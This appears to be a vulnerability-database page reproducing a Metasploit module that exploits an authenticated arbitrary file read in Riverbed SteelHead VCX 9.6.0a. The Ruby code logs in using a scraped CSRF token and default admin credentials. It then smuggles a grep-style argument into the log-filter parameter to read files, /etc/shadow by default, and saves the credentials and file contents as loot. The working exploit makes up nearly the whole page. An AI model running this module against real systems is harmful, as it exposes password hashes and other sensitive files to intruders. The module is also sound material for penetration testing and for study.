Lucene search
K

Riverbed SteelHead VCX File Read

🗓️ 03 Jun 2017 03:09:19Reported by Gregory DRAPERI <gregory.draper_at_gmail.com>, h00dieType 
metasploit
 metasploit
🔗 www.rapid7.com👁 27 Views

Riverbed SteelHead VCX File Read - Exploits authenticated arbitrary file read in the log module's filter engine, impacting SteelHead VCX (VCX255U) version 9.6.0a

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'           => 'Riverbed SteelHead VCX File Read',
      'Description'    => %q{
          This module exploits an authenticated arbitrary file read in the log module's filter engine.
          SteelHead VCX (VCX255U) version 9.6.0a was confirmed as vulnerable.
      },
      'References'     =>
        [
          ['EDB', '42101']
        ],
      'Author'         =>
        [
          'Gregory DRAPERI <gregory.draper_at_gmail.com>', # Exploit
          'h00die' # Module
        ],
      'DisclosureDate' => 'Jun 01 2017',
      'License'        =>  MSF_LICENSE
    )

    register_options(
      [
        OptString.new('FILE', [ true,  'Remote file to view', '/etc/shadow']),
        OptString.new('TARGETURI', [true, 'Vulnerable URI path', '/']),
        OptString.new('USERNAME', [true, 'Username', 'admin']),
        OptString.new('PASSWORD', [true, 'Password', 'password']),
      ])
  end

  def run_host(ip)
    # pull our csrf
    res = send_request_cgi({
      'uri'    => normalize_uri(datastore['TARGETURI'], 'login'),
      'method' => 'GET',
      'vars_get' => {
        'next' => '/'
      }
    }, 25)

    unless res
      print_error("#{full_uri} - Connection timed out")
      return
    end

    cookie = res.get_cookies
    csrf = cookie.scan(/csrftoken=(\w+);/).flatten[0]
    vprint_status("CSRF Token: #{csrf}")

    # authenticate
    res = send_request_cgi({
      'uri'    => normalize_uri(datastore['TARGETURI'], 'login'),
      'method' => 'POST',
      'cookie' => cookie,
      'vars_post' => {
        'csrfmiddlewaretoken' => csrf,
        '_fields' => JSON.generate({
          'username' => datastore['USERNAME'],
          'password' => datastore['PASSWORD'],
          'legalAccepted' => 'N/A',
          'userAgent' => ''
          })
      }
    }, 25)

    unless res
      print_error("#{full_uri} - Connection timed out")
      return
    end

    if res.code == 400
      print_error('Failed Authentication')
      return
    elsif res.code == 200
      vprint_good('Authenticated Successfully')
      cookie = res.get_cookies
      store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'], proof: cookie)
    end

    # pull the file
    res = send_request_cgi({
      'uri'    => normalize_uri(datastore['TARGETURI'], 'modules/common/logs'),
      'method' => 'GET',
      'cookie' => cookie,
      'vars_get' => {
        'filterStr' => "msg:-e .* #{datastore['FILE']}"
      }
    }, 25)

    unless res
      print_error("#{full_uri} - Connection timed out")
      return
    end

    if res && res.body
      result = res.get_json_document
      unless result.has_key?('web3.model')
        print_error('Invalid JSON returned')
        return
      end
      reconstructed_file = []
      # so the format is super icky here.  It makes a hash table for each row in the file. then the 'msg' field starts with
      # the file name.  It also, by default, includes other files, so we need to check we're on the right file.
      result['web3.model']['messages']['rows'].each do |row|
        if row['msg'].start_with?(datastore['FILE'])
          reconstructed_file << row['msg'].gsub("#{datastore['FILE']}:",'').strip
        end
      end
      if reconstructed_file.any?
        reconstructed_file = reconstructed_file.join("\n")
        vprint_good("File Contents:\n#{reconstructed_file}")
        stored_path = store_loot('host.files', 'text/plain', rhost, reconstructed_file, datastore['FILE'])
        print_good("Stored #{datastore['FILE']} to #{stored_path}")
      else
        print_error("File not found or empty file: #{datastore['FILE']}")
      end
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation